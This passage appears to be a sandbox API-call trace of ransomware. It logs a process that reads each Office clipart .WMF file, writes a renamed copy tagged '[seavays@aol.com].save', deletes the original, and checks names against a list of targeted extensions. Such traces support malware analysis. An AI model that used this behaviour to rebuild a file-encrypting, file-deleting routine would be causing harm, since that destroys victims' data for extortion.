hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.685] SetEndOfFile (hFile=0x538) returned 1 [0193.688] CloseHandle (hObject=0x538) returned 1 [0193.688] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0193.688] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187861.wmf")) returned 1 [0193.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF") returned 68 [0193.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF") returned 68 [0193.689] lstrlenW (lpString=".doc") returned 4 [0193.689] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.689] lstrlenW (lpString=".docx") returned 5 [0193.690] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0193.690] lstrlenW (lpString=".pdf") returned 4 [0193.690] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.690] lstrlenW (lpString=".xls") returned 4 [0193.690] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.690] lstrlenW (lpString=".xlsx") returned 5 [0193.690] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0193.690] lstrlenW (lpString=".ppt") returned 4 [0193.690] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF") returned 68 [0193.690] lstrlenW (lpString=".zip") returned 4 [0193.690] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.690] lstrlenW (lpString=".rar") returned 4 [0193.690] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.690] lstrlenW (lpString=".bz2") returned 4 [0193.690] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.690] lstrlenW (lpString=".7z") returned 3 [0193.690] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF") returned 68 [0193.690] lstrlenW (lpString=".dbf") returned 4 [0193.690] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF") returned 68 [0193.690] lstrlenW (lpString=".1cd") returned 4 [0193.690] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF") returned 68 [0193.690] lstrlenW (lpString=".jpg") returned 4 [0193.690] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187863.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0193.692] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=10820) returned 1 [0193.692] CloseHandle (hObject=0x538) returned 1 [0193.692] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187863.wmf")) returned 0x220 [0193.692] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187863.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0193.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187863.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0193.693] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.693] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187863.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0193.694] GetLastError () returned 0x0 [0193.694] ReadFile (in: hFile=0x538, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x2a44, lpOverlapped=0x0) returned 1 [0193.741] WriteFile (in: hFile=0x44c, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x2a50, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x2a50, lpOverlapped=0x0) returned 1 [0193.742] ReadFile (in: hFile=0x538, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0193.742] WriteFile (in: hFile=0x44c, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0193.742] SetEndOfFile (hFile=0x44c) returned 1 [0193.743] CloseHandle (hObject=0x44c) returned 1 [0193.743] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.743] SetEndOfFile (hFile=0x538) returned 1 [0193.747] CloseHandle (hObject=0x538) returned 1 [0193.748] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0193.756] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187863.wmf")) returned 1 [0194.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF") returned 68 [0194.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF") returned 68 [0194.133] lstrlenW (lpString=".doc") returned 4 [0194.133] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.133] lstrlenW (lpString=".docx") returned 5 [0194.133] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0194.133] lstrlenW (lpString=".pdf") returned 4 [0194.133] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.134] lstrlenW (lpString=".xls") returned 4 [0194.134] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.134] lstrlenW (lpString=".xlsx") returned 5 [0194.134] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0194.134] lstrlenW (lpString=".ppt") returned 4 [0194.134] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF") returned 68 [0194.134] lstrlenW (lpString=".zip") returned 4 [0194.134] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.134] lstrlenW (lpString=".rar") returned 4 [0194.134] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.134] lstrlenW (lpString=".bz2") returned 4 [0194.134] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.134] lstrlenW (lpString=".7z") returned 3 [0194.134] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF") returned 68 [0194.134] lstrlenW (lpString=".dbf") returned 4 [0194.134] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF") returned 68 [0194.134] lstrlenW (lpString=".1cd") returned 4 [0194.134] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF") returned 68 [0194.134] lstrlenW (lpString=".jpg") returned 4 [0194.134] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188667.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188667.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0194.136] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=16030) returned 1 [0194.136] CloseHandle (hObject=0x370) returned 1 [0194.136] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188667.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188667.wmf")) returned 0x220 [0194.136] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188667.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188667.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0194.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188667.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188667.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0194.137] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.137] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188667.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188667.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0194.217] GetLastError () returned 0x0 [0194.217] ReadFile (in: hFile=0x370, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x3e9e, lpOverlapped=0x0) returned 1 [0194.220] WriteFile (in: hFile=0x524, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x3ea0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x3ea0, lpOverlapped=0x0) returned 1 [0194.222] ReadFile (in: hFile=0x370, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0194.222] WriteFile (in: hFile=0x524, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0194.222] SetEndOfFile (hFile=0x524) returned 1 [0194.222] CloseHandle (hObject=0x524) returned 1 [0194.222] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.223] SetEndOfFile (hFile=0x370) returned 1 [0194.226] CloseHandle (hObject=0x370) returned 1 [0194.226] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188667.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0194.227] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188667.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188667.wmf")) returned 1 [0194.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188667.WMF") returned 68 [0194.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188667.WMF") returned 68 [0194.228] lstrlenW (lpString=".doc") returned 4 [0194.228] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.228] lstrlenW (lpString=".docx") returned 5 [0194.228] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0194.228] lstrlenW (lpString=".pdf") returned 4 [0194.228] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.228] lstrlenW (lpString=".xls") returned 4 [0194.228] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.228] lstrlenW (lpString=".xlsx") returned 5 [0194.228] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0194.229] lstrlenW (lpString=".ppt") returned 4 [0194.229] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188667.WMF") returned 68 [0194.229] lstrlenW (lpString=".zip") returned 4 [0194.229] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.229] lstrlenW (lpString=".rar") returned 4 [0194.229] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.229] lstrlenW (lpString=".bz2") returned 4 [0194.229] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.229] lstrlenW (lpString=".7z") returned 3 [0194.229] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188667.WMF") returned 68 [0194.229] lstrlenW (lpString=".dbf") returned 4 [0194.229] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188667.WMF") returned 68 [0194.229] lstrlenW (lpString=".1cd") returned 4 [0194.229] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188667.WMF") returned 68 [0194.229] lstrlenW (lpString=".jpg") returned 4 [0194.229] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.230] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=13162) returned 1 [0194.230] CloseHandle (hObject=0x370) returned 1 [0194.231] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188679.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188679.wmf")) returned 0x220 [0194.231] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188679.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188679.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0194.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188679.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188679.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0194.232] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.232] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188679.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188679.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0194.234] GetLastError () returned 0x0 [0194.234] ReadFile (in: hFile=0x370, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x336a, lpOverlapped=0x0) returned 1 [0194.236] WriteFile (in: hFile=0x524, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x3370, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x3370, lpOverlapped=0x0) returned 1 [0194.237] ReadFile (in: hFile=0x370, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0194.238] WriteFile (in: hFile=0x524, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0194.238] SetEndOfFile (hFile=0x524) returned 1 [0194.238] CloseHandle (hObject=0x524) returned 1 [0194.238] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.238] SetEndOfFile (hFile=0x370) returned 1 [0194.247] CloseHandle (hObject=0x370) returned 1 [0194.247] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188679.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0194.248] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188679.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188679.wmf")) returned 1 [0194.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188679.WMF") returned 68 [0194.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188679.WMF") returned 68 [0194.250] lstrlenW (lpString=".doc") returned 4 [0194.250] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.250] lstrlenW (lpString=".docx") returned 5 [0194.250] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0194.250] lstrlenW (lpString=".pdf") returned 4 [0194.250] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.250] lstrlenW (lpString=".xls") returned 4 [0194.250] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.250] lstrlenW (lpString=".xlsx") returned 5 [0194.250] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0194.250] lstrlenW (lpString=".ppt") returned 4 [0194.250] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188679.WMF") returned 68 [0194.250] lstrlenW (lpString=".zip") returned 4 [0194.250] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.250] lstrlenW (lpString=".rar") returned 4 [0194.250] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.250] lstrlenW (lpString=".bz2") returned 4 [0194.251] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.251] lstrlenW (lpString=".7z") returned 3 [0194.251] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188679.WMF") returned 68 [0194.251] lstrlenW (lpString=".dbf") returned 4 [0194.251] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188679.WMF") returned 68 [0194.251] lstrlenW (lpString=".1cd") returned 4 [0194.251] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188679.WMF") returned 68 [0194.251] lstrlenW (lpString=".jpg") returned 4 [0194.251] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.476] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=7332) returned 1 [0194.476] CloseHandle (hObject=0x564) returned 1 [0194.476] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195248.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195248.wmf")) returned 0x220 [0194.477] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195248.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195248.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0194.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195248.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195248.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0194.478] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.478] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195248.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195248.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0194.480] GetLastError () returned 0x0 [0194.480] ReadFile (in: hFile=0x564, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x1ca4, lpOverlapped=0x0) returned 1 [0194.482] WriteFile (in: hFile=0x44c, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x1cb0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x1cb0, lpOverlapped=0x0) returned 1 [0194.484] ReadFile (in: hFile=0x564, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0194.484] WriteFile (in: hFile=0x44c, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0194.484] SetEndOfFile (hFile=0x44c) returned 1 [0194.484] CloseHandle (hObject=0x44c) returned 1 [0194.484] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.484] SetEndOfFile (hFile=0x564) returned 1 [0194.488] CloseHandle (hObject=0x564) returned 1 [0194.488] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195248.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0194.488] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195248.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195248.wmf")) returned 1 [0194.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195248.WMF") returned 68 [0194.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195248.WMF") returned 68 [0194.490] lstrlenW (lpString=".doc") returned 4 [0194.490] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.490] lstrlenW (lpString=".docx") returned 5 [0194.490] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0194.490] lstrlenW (lpString=".pdf") returned 4 [0194.490] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.490] lstrlenW (lpString=".xls") returned 4 [0194.490] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.490] lstrlenW (lpString=".xlsx") returned 5 [0194.490] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0194.490] lstrlenW (lpString=".ppt") returned 4 [0194.490] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195248.WMF") returned 68 [0194.490] lstrlenW (lpString=".zip") returned 4 [0194.490] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.490] lstrlenW (lpString=".rar") returned 4 [0194.490] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.490] lstrlenW (lpString=".bz2") returned 4 [0194.490] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.490] lstrlenW (lpString=".7z") returned 3 [0194.490] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.490] lstrlenW (lpString="C:\\Program Files\\Microsoft 